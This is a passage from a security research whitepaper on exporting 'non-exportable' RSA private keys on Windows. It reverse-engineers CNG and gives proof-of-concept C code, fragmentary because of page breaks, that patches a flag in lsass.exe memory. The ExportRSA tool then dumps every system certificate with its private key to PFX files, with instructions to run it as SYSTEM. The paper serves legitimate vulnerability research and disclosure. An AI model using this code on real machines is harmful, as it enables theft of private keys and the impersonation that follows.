see that a conditional jump from address .text:6C814EEE would not be taken if
SPPkcs8IsKeyExportable(…) returned zero. The function name “SPPkcs8IsKeyExportable” looks
exactly like what we’ve been looking for -- a low-level undocumented function that determines whether
or not a key is exportable! The input arguments to that function are ecx (ecx is set to the value of var_4
at .text:6C814ED5, and var_4 is set to the value of the validated hKeySPCryptExportKey at
.text:6C81485F) and pParameterList:
Page 37 of 52
Exporting Non-Exportable RSA Keys
We can see above that ecx is set to hKeySPCryptExportKey at .text:6C81696D, and then set to
*(hKeySPCryptExportKey + 0x20) at .text:6C81696D, then checked at .text:6C816977 to see if the
lowest byte has the appropriate bit-flag set. If the second-lowest bit is set, the conditional jump at
.text:6C81697A is not taken and instead this function immediately returns 1. It’s worth noting that
NCRYPT_ALLOW_PLAINTEXT_EXPORT_FLAG is defined in ncrypt.h as 2.
Note that the portion highlighted in blue above is from the memory context of the process that called
NCryptExportKey(…), and the portion highlighted in yellow above is from the memory context of the
lsass.exe process.
int wmain(int argc, wchar_t* argv[]) int wmain(int argc, wchar_t* argv[])
{ {
NCRYPT_PROV_HANDLE hProvider = NULL; NCRYPT_PROV_HANDLE hProvider = NULL;
NCRYPT_KEY_HANDLE hKey = NULL; NCRYPT_KEY_HANDLE hKey = NULL;
DWORD cbResult = 0; DWORD cbResult = 0;
SECURITY_STATUS secStatus = SECURITY_STATUS secStatus =
ERROR_SUCCESS; ERROR_SUCCESS;
NCryptOpenStorageProvider( NCryptOpenStorageProvider(
&hProvider, &hProvider,
MS_KEY_STORAGE_PROVIDER, MS_KEY_STORAGE_PROVIDER,
0); 0);
NCryptCreatePersistedKey( NCryptCreatePersistedKey(
hProvider, hProvider,
&hKey, &hKey,
BCRYPT_RSA_ALGORITHM, BCRYPT_RSA_ALGORITHM,
10
http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx
Page 38 of 52
Exporting Non-Exportable RSA Keys
NULL, NULL,
AT_KEYEXCHANGE, AT_KEYEXCHANGE,
0); 0);
NCryptFinalizeKey( NCryptFinalizeKey(
hKey, hKey,
0); 0);
SERVICE_STATUS_PROCESS ssp;
DWORD dwBytesNeeded;
QueryServiceStatusEx(
hService,
SC_STATUS_PROCESS_INFO,
(BYTE*)&ssp,
sizeof(SERVICE_STATUS_PROCESS),
&dwBytesNeeded);
DWORD hKeySPCryptExportKey;
SIZE_T sizeBytes;
ReadProcessMemory(
hProcess,
(void*)(*(SIZE_T*)*(DWORD*)(hKey +
0x08) + 0x18),
&hKeySPCryptExportKey,
sizeof(DWORD),
&sizeBytes);
unsigned char ucExportable;
ReadProcessMemory(
hProcess,
(void*)(hKeySPCryptExportKey +
0x20),
&ucExportable,
sizeof(unsigned char),
&sizeBytes);
ucExportable |=
NCRYPT_ALLOW_PLAINTEXT_EXPORT_FLAG;
WriteProcessMemory(
Page 39 of 52
Exporting Non-Exportable RSA Keys
hProcess,
(void*)(hKeySPCryptExportKey +
0x20),
&ucExportable,
sizeof(unsigned char),
&sizeBytes);
wprintf_s( wprintf_s(
L"NCryptExportKey(...) returned " L"NCryptExportKey(...) returned "
L"0x%08X", L"0x%08X",
secStatus); secStatus);
return 0; return 0;
} }
As such, we can see that flipping a single bit in memory allows us to export the CNG private key.
The code above has been successfully tested on the 32-bit versions of the following systems:
Windows Vista
Windows Server 2008
Windows 7
Page 40 of 52
Exporting Non-Exportable RSA Keys
4. Development
Given the findings from Section 3 of this document, we can now write a program to export the
certificates with their associated private keys for all certificates in all system stores in all system store
locations, regardless of whether or not their private keys have been marked as exportable.
This code will save these extracted certificates as files 1.pfx, 2.pfx, 3.pfx, etc. in the current directory. It
can be used on any of the following 32-bit and 64-bit systems:
Windows 2000
Windows XP
Windows Server 2003
Windows Vista
Windows Mobile 6
Windows Server 2008
Windows 7
As a future development, the code could be extended to also extract certificates from all users’ file-
backed personal system stores.
The proof-of-concept code below does little-to-no error-checking and does not close handles or free
memory. It is written with a focus on clarity and simplicity. This coding style is for example purposes only
and should not be used in a production environment.
/*
This is free and unencumbered software released into the public domain.
Page 41 of 52
Exporting Non-Exportable RSA Keys
ExportRSA v1.0
by Jason Geffner (jason.geffner@ngssecure.com)
This program enumerates all certificates in all system stores in all system
store locations and creates PFX files in the current directory for each
certificate found that has a local associated RSA private key. Each PFX file
created includes the ceritificate's private key, even if the private key was
marked as non-exportable.
For access to CNG RSA private keys, this program must be run with write-access
to the process that hosts the KeyIso service (the lsass.exe process). Either
modify the ACL on the target process, or run this program in the context of
SYSTEM with a tool such as PsExec.
This code performs little-to-no error-checking, does not free allocated memory,
and does not release handles. It is provided as proof-of-concept code with a
focus on simplicity and readability. As such, the code below in its current
form should not be used in a production environment.
Release History:
*/
#include <Windows.h>
#include <WinCrypt.h>
#include <stdio.h>
#ifndef CERT_NCRYPT_KEY_SPEC
#define CERT_NCRYPT_KEY_SPEC 0xFFFFFFFF
#endif
BOOL WINAPI
CertEnumSystemStoreCallback(
Page 42 of 52
Exporting Non-Exportable RSA Keys
Page 43 of 52
Exporting Non-Exportable RSA Keys
NCRYPT_KEY_HANDLE hNKey;
#endif
BOOL fCallerFreeProvOrNCryptKey;
if (!CryptAcquireCertificatePrivateKey(
pCertContext,
#ifdef WINCE
0,
#else
CRYPT_ACQUIRE_ALLOW_NCRYPT_KEY_FLAG,
#endif
NULL,
&hCryptProvOrNCryptKey,
&dwKeySpec,
&fCallerFreeProvOrNCryptKey))
{
continue;
}
hProv = hCryptProvOrNCryptKey;
#ifndef WINCE
hNKey = hCryptProvOrNCryptKey;
#endif
HCRYPTKEY hKey;
BYTE* pbData = NULL;
DWORD cbData = 0;
if (CERT_NCRYPT_KEY_SPEC != dwKeySpec)
{
// This code path is for CryptoAPI
Page 44 of 52
Exporting Non-Exportable RSA Keys
0,
NULL,
&cbData);
pbData = (BYTE*)malloc(cbData);
CryptExportKey(
hKey,
NULL,
PRIVATEKEYBLOB,
0,
pbData,
&cbData);
Page 45 of 52
Exporting Non-Exportable RSA Keys
(BYTE*)&ssp,
sizeof(SERVICE_STATUS_PROCESS),
&dwBytesNeeded);
Page 46 of 52
Exporting Non-Exportable RSA Keys
ucExportable |= NCRYPT_ALLOW_PLAINTEXT_EXPORT_FLAG;
WriteProcessMemory(
hProcess,
(void*)(pKspKeyInLsass + dwOffsetKspKeyInLsass),
&ucExportable,
sizeof(unsigned char),
&sizeBytes);
Page 47 of 52
Exporting Non-Exportable RSA Keys
NULL,
0,
NULL);
// Set the key container for the linked certificate to be our temporary
// key container
CertSetCertificateContextProperty(
pCertContext,
#ifdef WINCE
CERT_KEY_PROV_HANDLE_PROP_ID,
#else
CERT_HCRYPTPROV_OR_NCRYPT_KEY_HANDLE_PROP_ID,
#endif
0,
#ifdef WINCE
(void*)hProvTemp);
#else
(void*)((CERT_NCRYPT_KEY_SPEC == dwKeySpec) ?
hNKey : hProvTemp));
#endif
Page 48 of 52
Exporting Non-Exportable RSA Keys
g_ulFileNumber++);
return TRUE;
}
BOOL WINAPI
CertEnumSystemStoreLocationCallback(
LPCWSTR pvszStoreLocations,
DWORD dwFlags,
void* pvReserved,
void* pvArg)
{
// Enumerate all system stores in a given system store location
CertEnumSystemStore(
dwFlags,
NULL,
NULL,
CertEnumSystemStoreCallback);
return TRUE;
}
int
wmain(
int argc,
wchar_t* argv[])
{
// Initialize g_ulFileNumber
g_ulFileNumber = 1;
Page 49 of 52
Exporting Non-Exportable RSA Keys
if (NULL != IsWow64Process)
{
IsWow64Process(
GetCurrentProcess(),
&g_fWow64Process);
}
return 0;
}
Page 50 of 52
Exporting Non-Exportable RSA Keys
5. Security Impact
Despite Microsoft’s claim that non-exportable private keys are, “a security measure,”11 the fact of the
matter is that subverting private keys’ non-exportability does not allow an attacker to cross any security
boundaries and as such this issue is not a true security vulnerability.
For CryptoAPI, a user must have access to their own private keys in order to perform standard
cryptographic operations with that private key, so no matter how much the operating system tries to
obfuscate that data, it is still axiomatic that no security boundary is crossed when accessing one’s own
data.
Microsoft deserves credit for adhering to the Common Criteria for Information Technology Security
Evaluation12 by using process isolation to help protect private key properties for CNG. This prevents non-
administrative users from using the approach described in this whitepaper from tampering with the
non-exportable flag of private keys in memory. However, it should be noted that other approaches
(extracting keys from the file system via DPAPI or from the registry) may still be feasible for a non-
administrative user.
11
http://support.microsoft.com/kb/232154
12
http://www.commoncriteriaportal.org/cc/
Page 51 of 52
Exporting Non-Exportable RSA Keys
6. Conclusion
System administrators should consider the option to mark keys non-exportable not as a security feature,
but as a UI feature that deters users from accidentally exporting their private keys when copying
certificates.
Without dedicated hardware, protecting private key data via obfuscation is much like protecting media
via DRM -- it may slow down an “attacker”, but it doesn’t prevent a determined “attacker” from
obtaining the original data through a thorough process of reverse engineering. Most obfuscation
approaches, such as the opaque data structures used by CryptoAPI and CNG, and the hardcoded XOR
key used by CryptoAPI, are often vulnerable to break-once-run-everywhere (BORE) “attacks”, which is
why the code above currently works on Windows 2000 through Windows 7, in addition to Windows
Mobile 6.
Future research in this area may focus on the security of how Windows handles private keys in
conjunction with smart cards and/or TPM modules.
Page 52 of 52